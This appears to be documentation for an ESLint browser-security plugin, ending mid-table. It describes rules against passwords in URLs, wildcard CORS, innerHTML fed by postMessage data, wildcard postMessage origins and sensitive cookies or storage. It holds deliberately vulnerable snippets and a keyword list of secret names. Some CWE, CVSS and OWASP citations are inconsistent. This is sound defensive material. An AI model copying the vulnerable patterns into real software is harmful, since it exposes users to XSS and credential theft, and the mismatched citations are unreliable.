Passwords in URLs are logged in browser history, server logs, proxy logs, and referrer headers, creating permanent credential leaks. ### Why This Matters [#why-this-matters] URLs with passwords are fundamentally insecure: * **Browser history**: Passwords saved in autocomplete and history * **Server logs**: All web servers log full URLs including query params * **Referrer headers**: Passwords leaked to third-party sites via Referer header * **Proxy logs**: Corporate/ISP proxies log all URLs * **Compliance**: Violates PCI-DSS, HIPAA, and security best practices ## ❌ Incorrect [#-incorrect] ```typescript const url = 'https://user:password@example.com' ``` ## ✅ Correct [#-correct] ```typescript // POST passwords in request body (never URL) fetch('https://api.example.com/login', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ username: 'user', password: userPassword, // ✅ In POST body, not URL }), }); // Use Authorization header for credentials fetch('https://api.example.com/data', { headers: { Authorization: `Basic ${btoa(`${username}:${password}`)}`, // ✅ Header, not URL }, }); // OAuth flow with authorization code (no password in URL) const authUrl = new URL('https://oauth.example.com/authorize'); authUrl.searchParams.set('client_id', clientId); authUrl.searchParams.set('redirect_uri', redirectUri); authUrl.searchParams.set('response_type', 'code'); // ✅ No password, just auth code window.location.href = authUrl.toString(); // Never pass credentials in URLs - use secure cookies/tokens document.cookie = `session=${sessionToken}; Secure; HttpOnly; SameSite=Strict`; // ✅ Cookie, not URL ``` ## ⚙️ Configuration [#️-configuration] This rule has no configuration options. ## Known False Negatives [#known-false-negatives] ### Passwords in Dynamically Constructed URLs [#passwords-in-dynamically-constructed-urls] **Why**: We only detect literal URL strings with password params. Dynamic URL construction is not traced. ```typescript // ❌ NOT DETECTED - Dynamic construction const baseUrl = 'https://example.com/auth'; const fullUrl = `${baseUrl}?password=${pwd}`; // Dynamic template window.location.href = fullUrl; ``` **Mitigation**: Never construct URLs with password parameters. Always use POST body or headers. ### Password in URL Objects [#password-in-url-objects] **Why**: We detect string literals, not URL object manipulation. ```typescript // ❌ NOT DETECTED - URL object const url = new URL('https://example.com/login'); url.searchParams.set('password', pwd); // Object method, not literal fetch(url.toString()); ``` **Mitigation**: Code review for all URL parameter assignments. Ban password in query params. ### Third-Party Library URL Building [#third-party-library-url-building] **Why**: Libraries that internally construct URLs are not analyzed. ```typescript // ❌ NOT DETECTED - Library handles URL await httpClient.get('/auth', { params: { password: pwd } }); // axios/similar ``` **Mitigation**: Configure HTTP libraries to never allow credentials in URLs. Review library docs. ## 🔗 Related Rules [#-related-rules] * \[`no-hardcoded-credentials`]\(./no-hardcoded-credentials. md) - Detect hardcoded passwords * [`no-credentials-in-query-params`](./no-credentials-in-query-params.md) - General credential leak prevention ## 📚 References [#-references] * [CWE-521: Weak Password Requirements](https://cwe.mitre.org/data/definitions/521.html) * [OWASP M1: Improper Credential Usage](https://owasp.org/www-project-mobile-top-10/) * [RFC 3986: URI Generic Syntax](https://tools.ietf.org/html/rfc3986) # no-permissive-cors ## Quick Summary [#quick-summary] | Aspect | Details | | --------------- | --------------------------------------------- | | **Severity** | High (Data Exposure) | | **Auto-Fix** | ❌ No (requires allowlist logic) | | **Category** | Security | | **ESLint MCP** | ✅ Optimized for ESLint MCP integration | | **Best For** | Node.js servers with public APIs | | **Suggestions** | ✅ Advice on using origin validation functions | ## Vulnerability and Risk [#vulnerability-and-risk] **Vulnerability:** Permissive Cross-Origin Resource Sharing (CORS) occurs when an application sets `Access-Control-Allow-Origin` to `*` or reflects the `Origin` header without validation. **Risk:** Any website can make requests to your API. If your API relies on ambient credentials (like cookies), a malicious site can exfiltrate sensitive user data or perform actions on behalf of the user. ## Error Message Format [#error-message-format] The rule provides **LLM-optimized error messages** (Compact 2-line format) with actionable security guidance: ```text 🔒 CWE-942 OWASP:M8 | Permissive CORS detected | HIGH [DataExfiltration,CSRF] Fix: Do not use wildcard (*) for CORS origin; use an allowlist | https://cwe.mitre.org/data/definitions/942.html ``` ### Message Components [#message-components] | Component | Purpose | Example | | :------------------------ | :--------------------- | :------------------------------------------------------------------------------------------------------------------ | | **Risk Standards** | Security benchmarks | [CWE-942](https://cwe.mitre.org/data/definitions/942.html) [OWASP:M8](https://owasp.org/www-project-mobile-top-10/) | | **Issue Description** | Specific vulnerability | `Permissive CORS detected` | | **Severity & Compliance** | Impact assessment | `HIGH [DataExfiltration,CSRF]` | | **Fix Instruction** | Actionable remediation | `Do not use wildcard (*) for CORS origin` | | **Technical Truth** | Official reference | [Permissive HTTP Headers](https://cwe.mitre.org/data/definitions/942.html) | ## Rule Details [#rule-details] This rule flags configurations that explicitly use the `*` wildcard in CORS headers or middleware settings (like the `cors` npm package). ```mermaid %%{init: { 'theme': 'base', 'themeVariables': { 'primaryColor': '#f8fafc', 'primaryTextColor': '#1e293b', 'primaryBorderColor': '#334155', 'lineColor': '#475569', 'c0': '#f8fafc', 'c1': '#f1f5f9', 'c2': '#e2e8f0', 'c3': '#cbd5e1' } }}%% flowchart TD A["CORS Configuration"] --> B{"Origin is '*'"} B -->|Yes| C["🚨 High Security Risk"] B -->|No| D{"Origin is Dynamic Reflected?"} D -->|Yes| E["🚨 High Security Risk (if unvalidated)"] D -->|No| F["✅ Secure Configuration"] ``` ### Why This Matters [#why-this-matters] | Issue | Impact | Solution | | ------------------ | ------------------------------------- | ----------------------------------------------- | | 🕵️ **Data Theft** | Private user data exposed to any site | Use a strict allowlist of trusted origins | | 🚀 **CSRF** | Actions performed without user intent | Enforce secure CORS and use Anti-CSRF tokens | | ⚖️ **Compliance** | Violation of data protection laws | Audit and restrict cross-origin access strictly | ## Configuration [#configuration] This rule has no configuration options in the current version. ## Examples [#examples] ### ❌ Incorrect [#-incorrect] ```javascript // Setting wildcard origin using res.setHeader app.use((req, res, next) => { res.setHeader('Access-Control-Allow-Origin', '*'); // ❌ HIGH RISK next(); }); // Using the cors middleware with wildcard origin const cors = require('cors'); app.use(cors({ origin: '*' })); // ❌ HIGH RISK ``` ### ✅ Correct [#-correct] ```javascript // Specifying a single trusted origin app.use(cors({ origin: 'https://trusted.example.com' })); // Using a function to validate against an allowlist const whiteList = ['https://app.example.com', 'https://admin.example.com']; const corsOptions = { origin: function (origin, callback) { if (whiteList.indexOf(origin) !== -1 || !origin) { callback(null, true); } else { callback(new Error('Not allowed by CORS')); } }, }; app.use(cors(corsOptions)); ``` ## Known False Negatives [#known-false-negatives] The following patterns are **not detected** due to static analysis limitations: ### Dynamic Origin Reflection [#dynamic-origin-reflection] **Why**: If the server reflects the `Origin` header without validation, it's effectively a wildcard. ```javascript res.setHeader('Access-Control-Allow-Origin', req.headers.origin); // ❌ NOT DETECTED ``` **Mitigation**: Always validate the `Origin` header against a strict allowlist. ### Environment Variable Wildcards [#environment-variable-wildcards] **Why**: If the origin is loaded from an environment variable that happens to be `*`. ```javascript app.use(cors({ origin: process.env.ALLOWED_ORIGIN })); // ❌ NOT DETECTED ``` **Mitigation**: Use a configuration system that prevents wildcards in production. ## References [#references] * [CWE-942: Permissive Write of Outbound HTTP Headers](https://cwe.mitre.org/data/definitions/942.html) * [OWASP CORS Security Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross-Origin_Resource_Sharing_Cheat_Sheet.html) * [MDN - CORS](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS) # no-postmessage-innerhtml > 🔒 Disallow using innerHTML with postMessage data **CWE:** [CWE-693](https://cwe.mitre.org/data/definitions/693.html)\ **OWASP Mobile:** [OWASP Mobile Top 10](https://owasp.org/www-project-mobile-top-10/) ## Error Message Format [#error-message-format] The rule provides **LLM-optimized error messages** (Compact 2-line format) with actionable security guidance: ```text ⚠️ CWE-79 OWASP:A05 CVSS:6.1 | Cross-site Scripting (XSS) detected | MEDIUM [SOC2,PCI-DSS,GDPR,ISO27001] Fix: Review and apply the recommended fix | https://owasp.org/Top10/A05_2021/ ``` ### Message Components [#message-components] | Component | Purpose | Example | | :------------------------ | :--------------------- | :---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | **Risk Standards** | Security benchmarks | [CWE-79](https://cwe.mitre.org/data/definitions/79.html) [OWASP:A05](https://owasp.org/Top10/A05_2021-Injection/) [CVSS:6.1](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV%3AN%2FAC%3AL%2FPR%3AN%2FUI%3AN%2FS%3AU%2FC%3AH%2FI%3AH%2FA%3AH) | | **Issue Description** | Specific vulnerability | `Cross-site Scripting (XSS) detected` | | **Severity & Compliance** | Impact assessment | `MEDIUM [SOC2,PCI-DSS,GDPR,ISO27001]` | | **Fix Instruction** | Actionable remediation | `Follow the remediation steps below` | | **Technical Truth** | Official reference | [OWASP Top 10](https://owasp.org/Top10/A05_2021-Injection/) | ## Rule Details [#rule-details] This rule prevents using `innerHTML`, `outerHTML`, `insertAdjacentHTML()`, or `document.write()` with data received from postMessage events. This pattern enables XSS attacks through malicious messages. ### Why is this dangerous? [#why-is-this-dangerous] ```mermaid sequenceDiagram participant A as Attacker Page participant V as Vulnerable Page participant U as User Browser A->>V: postMessage({html: ""}) V->>V: element.innerHTML = event.data.html Note over V: XSS Executed! V->>A: Stolen cookies/data ``` When you use innerHTML with postMessage data: 1. **Any window can send messages** to your page 2. **Malicious HTML/scripts are executed** when assigned to innerHTML 3. **Attackers can steal data, session tokens**, and perform actions as the user ## Examples [#examples] ### ❌ Incorrect [#-incorrect] ```javascript // Direct innerHTML with event.data window.addEventListener('message', (event) => { element.innerHTML = event.data; }); // Nested property access window.addEventListener('message', (event) => { container.innerHTML = event.data.content; }); // outerHTML is equally dangerous window.addEventListener('message', (event) => { widget.outerHTML = event.data.html; }); // insertAdjacentHTML window.addEventListener('message', (event) => { list.insertAdjacentHTML('beforeend', event.data); }); // document.write (rare but dangerous) window.addEventListener('message', (event) => { document.write(event.data); }); ``` ### ✅ Correct [#-correct] ```javascript // Use textContent for plain text window.addEventListener('message', (event) => { if (event.origin !== 'https://trusted.com') return; element.textContent = event.data; }); // Sanitize before using innerHTML window.addEventListener('message', (event) => { if (event.origin !== 'https://trusted.com') return; const sanitized = DOMPurify.sanitize(event.data); element.innerHTML = sanitized; }); // Use intermediate variable (sanitized) window.addEventListener('message', (event) => { if (event.origin !== 'https://trusted.com') return; const safeHtml = DOMPurify.sanitize(event.data.content); container.innerHTML = safeHtml; }); // Use DOM APIs instead window.addEventListener('message', (event) => { if (event.origin !== 'https://trusted.com') return; const text = document.createTextNode(event.data); element.appendChild(text); }); ``` ## Options [#options] | Option | Type | Default | Description | | -------------- | --------- | ------- | ----------------------------------------------- | | `allowInTests` | `boolean` | `true` | Skip this rule in `*.test.*` / `*.spec.*` files | ```json { "browser-security/no-postmessage-innerhtml": [ "error", { "allowInTests": true } ] } ``` | Option | Type | Default | Description | | -------------- | --------- | ------- | ---------------------------------------------------- | | `allowInTests` | `boolean` | `true` | Skip checking in test files (\_.test.ts, \_.spec.ts) | ## When Not To Use It [#when-not-to-use-it] You may disable this rule if: * You're handling postMessage in a sandbox/isolated context * You have thorough sanitization that the rule can't detect However, **always sanitize postMessage data** before rendering as HTML. ## Rule ownership [#rule-ownership] This rule fires **only when the receiver is positively identified** as `window` / `self` / `globalThis` / `parent` / `top` in the same file. `X.onmessage = …` on a receiver this file cannot resolve is not evidence of postMessage — it is unknown, and unknown belongs to [`no-innerhtml`](./no-innerhtml.md) / [`no-eval`](./no-eval.md), which report it without claiming a provenance they cannot prove. The two tests are complements, so exactly one rule reports any given value. Before this gate both fired at the identical range in `recommended`. A receiver that arrives as a parameter or from another module therefore falls to the generic rule. That is deliberate: the alternative is guessing. ## Related Rules [#related-rules] * [`browser-security/require-postmessage-origin-check`](./require-postmessage-origin-check.md) - Require origin validation * [`browser-security/no-postmessage-wildcard-origin`](./no-postmessage-wildcard-origin.md) - Prevent wildcard targetOrigin * [`browser-security/no-innerhtml`](./no-innerhtml.md) - General innerHTML prevention ## Known False Negatives [#known-false-negatives] The following patterns are **not detected** due to static analysis limitations: ### Event Data Stored in Variable [#event-data-stored-in-variable] **Why**: Data stored in variables not traced. ```typescript // ❌ NOT DETECTED - Data stored first window.addEventListener('message', (event) => { const html = event.data; element.innerHTML = html; }); ``` **Mitigation**: Sanitize before any variable assignment. ### Separate Handler Function [#separate-handler-function] **Why**: Handler internals not analyzed. ```typescript // ❌ NOT DETECTED - External handler window.addEventListener('message', handlePostMessage); ``` **Mitigation**: Apply rule to handler implementations. ### Custom Sanitizer [#custom-sanitizer] **Why**: Non-standard sanitizers may not be recognized. ```typescript // ❌ NOT DETECTED - Custom sanitizer element.innerHTML = mySanitizeFunc(event.data); ``` **Mitigation**: Configure trusted sanitizer names. ## OWASP Mapping [#owasp-mapping] | Category | ID | | ----------------- | -------------------- | | OWASP Top 10 2021 | A03:2021 - Injection | | CWE | CWE-79 | | CVSS | 8.8 (High) | # no-postmessage-wildcard-origin > 🔒 Disallow using wildcard (\*) as targetOrigin in postMessage calls **CWE:** [CWE-693](https://cwe.mitre.org/data/definitions/693.html)\ **OWASP Mobile:** [OWASP Mobile Top 10](https://owasp.org/www-project-mobile-top-10/) ## Rule Details [#rule-details] This rule prevents using `"*"` as the `targetOrigin` parameter in `postMessage()` calls. Using a wildcard allows **any window** to receive the message, potentially leaking sensitive data to malicious sites. ### Why is this dangerous? [#why-is-this-dangerous] ```mermaid sequenceDiagram participant V as Your App (vulnerable) participant M as Malicious Site participant U as User U->>V: Visits your app (in iframe/tab) V->>M: postMessage(sensitiveData, "*") Note over M: Malicious site receives
your sensitive data! M->>M: Exfiltrate user data ``` When you use `postMessage(data, "*")`: 1. **Any window** that has a reference to your window can receive the message 2. Attackers can embed your site in an iframe and listen for messages 3. Sensitive data (tokens, user info) can be exfiltrated ## Examples [#examples] ### ❌ Incorrect [#-incorrect] ```javascript // Wildcard allows any window to receive the message window.postMessage(userData, '*'); // Also dangerous with iframes iframe.contentWindow.postMessage(authToken, '*'); // Parent window communication parent.postMessage({ type: 'auth', token: jwt }, '*'); // Window opener window.opener.postMessage(sensitiveData, '*'); // Options object with wildcard window.postMessage(data, { targetOrigin: '*' }); ``` ### ✅ Correct [#-correct] ```javascript // Specify the exact origin window.postMessage(userData, 'https://trusted-domain.com'); // iframe with known origin iframe.contentWindow.postMessage(authToken, 'https://embed.myapp.com'); // Parent window with specific origin parent.postMessage({ type: 'auth', token: jwt }, 'https://parent.myapp.com'); // Use "/" for same-origin communication window.postMessage(data, '/'); // Options object with specific origin window.postMessage(data, { targetOrigin: 'https://trusted-domain.com' }); ``` ## Options [#options] | Option | Type | Default | Description | | -------------- | --------- | ------- | ----------------------------------------------- | | `allowInTests` | `boolean` | `true` | Skip this rule in `*.test.*` / `*.spec.*` files | ```json { "browser-security/no-postmessage-wildcard-origin": [ "error", { "allowInTests": true } ] } ``` | Option | Type | Default | Description | | -------------- | --------- | ------- | ---------------------------------------------------- | | `allowInTests` | `boolean` | `true` | Skip checking in test files (\_.test.ts, \_.spec.ts) | ## When Not To Use It [#when-not-to-use-it] You may disable this rule if: * Your application only sends non-sensitive public data via postMessage * You're building a development tool where security isn't a concern * You have other mechanisms to prevent cross-origin message interception However, it's generally recommended to **always specify the exact target origin**. ## Related [#related] * [CWE-346: Origin Validation Error](https://cwe.mitre.org/data/definitions/346.html) * [MDN: postMessage Security Concerns](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage#security_concerns) * [`browser-security/require-postmessage-origin-check`](./require-postmessage-origin-check.md) - Validates origin on message receipt ## Known False Negatives [#known-false-negatives] The following patterns are **not detected** due to static analysis limitations: ### Origin from Variable [#origin-from-variable] **Why**: Origin stored in variables is not analyzed. ```typescript // ❌ NOT DETECTED - Origin from variable const origin = '*'; window.postMessage(data, origin); ``` **Mitigation**: Never assign '\*' to origin variables. ### Dynamic Origin Construction [#dynamic-origin-construction] **Why**: Computed origins are not traced. ```typescript // ❌ NOT DETECTED - Dynamic construction const target = getTargetOrigin(); // May return '*' iframe.contentWindow.postMessage(data, target); ``` **Mitigation**: Validate origin before postMessage. ### Wrapper Functions [#wrapper-functions] **Why**: Custom postMessage wrappers not recognized. ```typescript // ❌ NOT DETECTED - Wrapper function sendMessage(data, '*'); // Uses postMessage internally ``` **Mitigation**: Apply rule to wrapper implementations. ## OWASP Mapping [#owasp-mapping] | Category | ID | | ----------------- | -------------------------------- | | OWASP Top 10 2021 | A01:2021 - Broken Access Control | | CWE | CWE-346 | | CVSS | 7.5 (High) | # no-sensitive-cookie-js > 🔒 Disallow storing sensitive data (tokens, passwords) in cookies via JavaScript **CWE:** [CWE-359](https://cwe.mitre.org/data/definitions/359.html)\ **OWASP Mobile:** [OWASP Mobile Top 10](https://owasp.org/www-project-mobile-top-10/) ## Error Message Format [#error-message-format] The rule provides **LLM-optimized error messages** (Compact 2-line format) with actionable security guidance: ```text ⚠️ CWE-1004 OWASP:A02 CVSS:5.3 | Sensitive Cookie Without HttpOnly detected | MEDIUM Fix: Review and apply the recommended fix | https://owasp.org/Top10/A02_2021/ ``` ### Message Components [#message-components] | Component | Purpose | Example | | :------------------------ | :--------------------- | :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | **Risk Standards** | Security benchmarks | [CWE-1004](https://cwe.mitre.org/data/definitions/1004.html) [OWASP:A02](https://owasp.org/Top10/A02_2021-Injection/) [CVSS:5.3](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV%3AN%2FAC%3AL%2FPR%3AN%2FUI%3AN%2FS%3AU%2FC%3AH%2FI%3AH%2FA%3AH) | | **Issue Description** | Specific vulnerability | `Sensitive Cookie Without HttpOnly detected` | | **Severity & Compliance** | Impact assessment | `MEDIUM` | | **Fix Instruction** | Actionable remediation | `Follow the remediation steps below` | | **Technical Truth** | Official reference | [OWASP Top 10](https://owasp.org/Top10/A02_2021-Injection/) | ## Rule Details [#rule-details] This rule prevents setting sensitive cookies (authentication tokens, session IDs, etc.) via `document.cookie`. Cookies set through JavaScript are accessible to XSS attacks, while server-set cookies with the `HttpOnly` flag are protected. ### Why is this dangerous? [#why-is-this-dangerous] ```mermaid flowchart TD A["Attacker injects XSS"] --> B{"Cookie type?"} B -->|JavaScript cookie| C["document.cookie accessible"] C --> D["Token stolen!"] B -->|HttpOnly cookie| E["document.cookie blocked"] E --> F["Token safe ✓"] style D fill:#ff6b6b style F fill:#51cf66 ``` When you set cookies via JavaScript: 1. **Any XSS attack can read the cookie** via `document.cookie` 2. **No way to add HttpOnly flag** - only the server can set it 3. **Session tokens become vulnerable** to theft ## Examples [#examples] ### ❌ Incorrect [#-incorrect] ```javascript // Setting auth token in cookie via JavaScript document.cookie = 'token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...'; // Session ID document.cookie = 'sessionId=abc123'; // JWT document.cookie = 'jwt=eyJ...'; // Access token document.cookie = 'access_token=' + accessToken; // With template literal document.cookie = `refreshToken=${token}; Secure; SameSite=Strict`; // Even with security attributes, still vulnerable! document.cookie = 'authToken=xyz; Secure; SameSite=Strict'; ``` ### ✅ Correct [#-correct] ```javascript // Non-sensitive cookies are fine document.cookie = 'theme=dark'; document.cookie = 'locale=en-US'; document.cookie = 'visited=true'; // Set auth tokens via server response: // Server: res.cookie('token', value, { // httpOnly: true, // secure: true, // sameSite: 'strict' // }); // Or use fetch to get server-set HttpOnly cookie await fetch('/api/auth/login', { method: 'POST', credentials: 'include', body: JSON.stringify({ username, password }), }); // Server sets: Set-Cookie: token=xxx; HttpOnly; Secure; SameSite=Strict ``` ## Options [#options] | Option | Type | Default | Description | | ------------------- | ---------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------- | | `allowInTests` | `boolean` | `true` | Skip this rule in `*.test.*` / `*.spec.*` files | | `sensitivePatterns` | `string[]` | `["token","jwt","access_token","accessToken","refresh_token","refreshToken","id_token","idToken","auth","session","sessionId","session_id","password","passwd","secret","api_key","apiKey","private_key","privateKey","credential","bearer"]` | Patterns to detect as sensitive | ```json { "browser-security/no-sensitive-cookie-js": [ "error", { "allowInTests": true, "sensitivePatterns": [ "token", "jwt", "session", "auth", "password", "secret", "api_key", "credential" ] } ] } ``` | Option | Type | Default | Description | | ------------------- | ---------- | --------- | ------------------------------- | | `allowInTests` | `boolean` | `true` | Skip checking in test files | | `sensitivePatterns` | `string[]` | See below | Patterns to detect as sensitive | ### Default Sensitive Patterns [#default-sensitive-patterns] ```javascript [ 'token', 'jwt', 'access_token', 'accessToken', 'refresh_token', 'refreshToken', 'id_token', 'idToken', 'auth', 'session', 'sessionId', 'session_id', 'password', 'passwd', 'secret', 'api_key', 'apiKey', 'private_key', 'privateKey', 'credential', 'bearer', ]; ``` ## When Not To Use It [#when-not-to-use-it] You may disable this rule if: * You're implementing a legacy system that requires client-side cookie management * You're working with non-sensitive cookies only However, **always prefer server-set HttpOnly cookies** for any authentication-related data. ## Server-Side Cookie Best Practices [#server-side-cookie-best-practices] ### Express.js [#expressjs] ```javascript res.cookie('token', jwtToken, { httpOnly: true, // Prevents XSS access secure: true, // HTTPS only sameSite: 'strict', // CSRF protection maxAge: 3600000, // 1 hour }); ``` ### NestJS [#nestjs] ```typescript @Post('login') login(@Res() res: Response) { res.cookie('token', jwtToken, { httpOnly: true, secure: true, sameSite: 'strict' }); } ``` ## Related [#related] * [CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag](https://cwe.mitre.org/data/definitions/1004.html) * [MDN: Cookie Security](https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies#security) * [OWASP: Session Management Cheat Sheet](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/06-Session_Management_Testing/02-Testing_for_Cookies_Attributes) ## Known False Negatives [#known-false-negatives] The following patterns are **not detected** due to static analysis limitations: ### Dynamic Cookie Name [#dynamic-cookie-name] **Why**: Computed names not analyzed. ```typescript // ❌ NOT DETECTED - Dynamic name const name = 'authToken'; document.cookie = `${name}=${value}`; ``` **Mitigation**: Never set auth cookies client-side. ### Cookie Values from Variables [#cookie-values-from-variables] **Why**: Value patterns in variables not traced. ```typescript // ❌ NOT DETECTED - Value from variable const data = jwt; document.cookie = 'data=' + data; ``` **Mitigation**: Set auth cookies server-side. ### Cookie Library Wrappers [#cookie-library-wrappers] **Why**: Library methods not recognized. ```typescript // ❌ NOT DETECTED - Library wrapper js - cookie.set('token', jwt); ``` **Mitigation**: Apply rule to library implementations. ## OWASP Mapping [#owasp-mapping] | Category | ID | | ----------------- | --------------------------------- | | OWASP Top 10 2021 | A02:2021 - Cryptographic Failures | | CWE | CWE-1004 | | CVSS | 8.1 (High) | # no-sensitive-data-in-analytics > Prevents PII being sent to analytics services **Severity:** 🟠 HIGH\ **CWE:** [CWE-359: Exposure of Private Personal Information to an Unauthorized Actor](https://cwe.mitre.org/data/definitions/359.html)\ **OWASP Mobile:** [M6: Inadequate Privacy Controls](https://owasp.org/www-project-mobile-top-10/) ## Rule Details [#rule-details] This rule detects when sensitive user data (email, SSN, credit card, password, phone, address) is passed to analytics tracking calls like `analytics.track()`. Analytics platforms may not provide adequate security for sensitive data, and data breaches in analytics services can expose user PII. ### Why This Matters [#why-this-matters] Analytics platforms are third-party services with their own security postures. Sending PII to analytics: * Violates GDPR Article 6 (lawful processing) * Creates regulatory compliance risks (GDPR fines up to €20M or 4% of revenue) * Exposes data to third-party breaches (analytics provider compromises) * May violate user privacy expectations and consent agreements ## ❌ Incorrect [#-incorrect] ```typescript // Sending email to analytics analytics.track('User Signup', { email: user.email, // ❌ PII in analytics userId: user.id, }); // Sending credit card details analytics.track('Payment', { creditCard: cardNumber, // ❌ PCI-DSS violation amount: total, }); // Sending password (never!) analytics.track('Login Attempt', { username: user.username, password: user.password, // ❌ Critical security violation }); // Sending SSN analytics.track('Profile Update', { ssn: user.ssn, // ❌ HIPAA/PII violation name: user.name, }); ``` ## ✅ Correct [#-correct] ```typescript analytics.track('page_view', { page: '/home' }) ``` ## ⚙️ Configuration [#️-configuration] This rule has no configuration options. ## Known False Negatives [#known-false-negatives] The following patterns are **not detected** due to static analysis limitations: ### PII from Variables or Function Returns [#pii-from-variables-or-function-returns] **Why**: We only analyze object literal properties passed directly to `analytics.track()`. Values from variables or function calls are not traced. ```typescript // ❌ NOT DETECTED - PII from variable const userData = { email: user.email, phone: user.phone }; analytics.track('Event', userData); ``` **Mitigation**: Always review analytics tracking code manually for PII. Use TypeScript branded types to mark PII data. ### Custom Analytics Wrappers [#custom-analytics-wrappers] **Why**: We only detect `analytics.track()` calls. Custom wrapper functions are not recognized. ```typescript // ❌ NOT DETECTED - Custom wrapper function trackUserEvent(data: any) { analytics.track('Event', data); } trackUserEvent({ email: user.email }); // PII in custom wrapper ``` **Mitigation**: Apply this rule to wrapper function implementations. Document analytics wrappers in code review guidelines. ### Dynamic Property Names [#dynamic-property-names] **Why**: Properties accessed via bracket notation or computed property names cannot be statically analyzed. ```typescript // ❌ NOT DETECTED - Dynamic property const field = 'email'; analytics.track('Event', { [field]: user[field], // Dynamic, can't determine if PII }); ``` **Mitigation**: Avoid dynamic property names for analytics tracking. Use explicit, static property names. ## 🔗 Related Rules [#-related-rules] * [`require-data-minimization`](./require-data-minimization.md) - Minimize data collection overall * [`no-pii-in-logs`](./no-pii-in-logs.md) - Prevent PII in log files ## 📚 References [#-references] * [CWE-359: Exposure of Private Information](https://cwe.mitre.org/data/definitions/359.html) * [OWASP Mobile M6: Inadequate Privacy Controls](https://owasp.org/www-project-mobile-top-10/) * [GDPR Article 6: Lawful Processing](https://gdpr-info.eu/art-6-gdpr/) # no-sensitive-data-in-cache ## Quick Summary [#quick-summary] | Aspect | Details | | --------------- | -------------------------------------- | | **Severity** | High (Information Disclosure) | | **Auto-Fix** | ❌ No (requires architectural update) | | **Category** | Security | | **ESLint MCP** | ✅ Optimized for ESLint MCP integration | | **Best For** | Apps handling PII or auth tokens | | **Suggestions** | ✅ Advice on using session-only storage | ## Vulnerability and Risk [#vulnerability-and-risk] **Vulnerability:** Information disclosure occurs when sensitive data (like passwords, tokens, or PII) is stored in browser-accessible storage like `localStorage`, `sessionStorage`, or the `Cache` API. **Risk:** Data in these storages is often persistent and lacks high-fidelity access control. It can be easily accessed by malicious scripts (Cross-Site Scripting - XSS) or anyone with physical access to the device. ## Error Message Format [#error-message-format] The rule provides **LLM-optimized error messages** (Compact 2-line format) with actionable security guidance: ```text 🔒 CWE-200 OWASP:M9 | Sensitive Data in Cache detected | HIGH [InfoDisclosure,Privacy] Fix: Do not store sensitive data in browser caches; use HttpOnly cookies | https://cwe.mitre.org/data/definitions/200.html ``` ### Message Components [#message-components] | Component | Purpose | Example | | :------------------------ | :--------------------- | :------------------------------------------------------------------------------------------------------------------ | | **Risk Standards** | Security benchmarks | [CWE-200](https://cwe.mitre.org/data/definitions/200.html) [OWASP:M9](https://owasp.org/www-project-mobile-top-10/) | | **Issue Description** | Specific vulnerability | `Sensitive Data in Cache detected` | | **Severity & Compliance** | Impact assessment | `HIGH [InfoDisclosure,Privacy]` | | **Fix Instruction** | Actionable remediation | `Do not store sensitive data in browser caches` | | **Technical Truth** | Official reference | [Exposure of Sensitive Info](https://cwe.mitre.org/data/definitions/200.html) | ## Rule Details [#rule-details] This rule flags calls to storage methods (`set`, `put`, `store`) where the key name suggests it might contain sensitive information (e.g., keys containing "password", "token", "credit", "ssn"). ```mermaid %%{init: { 'theme': 'base', 'themeVariables': { 'primaryColor': '#f8fafc', 'primaryTextColor': '#1e293b', 'primaryBorderColor': '#334155', 'lineColor': '#475569', 'c0': '#f8fafc', 'c1': '#f1f5f9', 'c2': '#e2e8f0', 'c3': '#cbd5e1' } }}%% flowchart TD A["Storage Call"] --> B{"Key Name Analysis"} B -->|Matches Sensitive Keywords| C["🚨 High Risk Storage"] B -->|Generic Name| D["✅ Safe Storage"] C --> E["💡 Suggest Encryption or HttpOnly"] ``` ### Why This Matters [#why-this-matters] | Issue | Impact | Solution | | ------------------- | ------------------------------ | --------------------------------------------- | | 🕵️ **XSS Impact** | Tokens stolen via script | Store tokens in HttpOnly/Secure cookies | | 🗄️ **Persistence** | Data stays on public computers | Use session-only variables for sensitive data | | 🤝 **Trust** | User data leaked | Encrypt any mandatory client-side storage | ## Configuration [#configuration] This rule has no configuration options in the current version. ## Examples [#examples] ### ❌ Incorrect [#-incorrect] ```javascript cache.put('token', authToken) ``` ### ✅ Correct [#-correct] ```javascript // Store non-sensitive identifiers instead localStorage.setItem('user_preferences', JSON.stringify({ theme: 'dark' })); // For authentication tokens, use HttpOnly cookies (handled on the server) // Or use short-lived in-memory variables. // If storage is absolutely necessary, encrypt the data before storing const encryptedData = encryptSensitiveData(token); localStorage.setItem('auth_token_encrypted', encryptedData); ``` ## Known False Negatives [#known-false-negatives] The following patterns are **not detected** due to static analysis limitations: ### Non-Literal Keys [#non-literal-keys] **Why**: If the storage key is constructed dynamically or passed as a variable, this rule might miss it as it specifically checks literal strings. ```javascript const KEY_NAME = 'auth_token'; localStorage.setItem(KEY_NAME, data); // ❌ NOT DETECTED ``` **Mitigation**: Standardize storage keys throughout the application and use a centralized storage wrapper. ### Obfuscated Key Names [#obfuscated-key-names] **Why**: Developers might use non-obvious key names to store sensitive data. ```javascript localStorage.setItem('xyz123', secret_token); // ❌ NOT DETECTED ``` **Mitigation**: Perform thorough code reviews and use data masking or encryption. ## References [#references] * [CWE-200: Exposure of Sensitive Information](https://cwe.mitre.org/data/definitions/200.html) * [OWASP HTML5 Security Cheat Sheet - Local Storage](https://cheatsheetseries.owasp.org/cheatsheets/HTML5_Security_Cheat_Sheet.html#local-storage) * [MDN - Window.localStorage](https://developer.mozilla.org/en-US/docs/Web/API/Window/localStorage) # no-sensitive-indexeddb > No Sensitive Indexeddb ## ⚠️ Security Issue [#️-security-issue] | Property | Value | | ------------ | 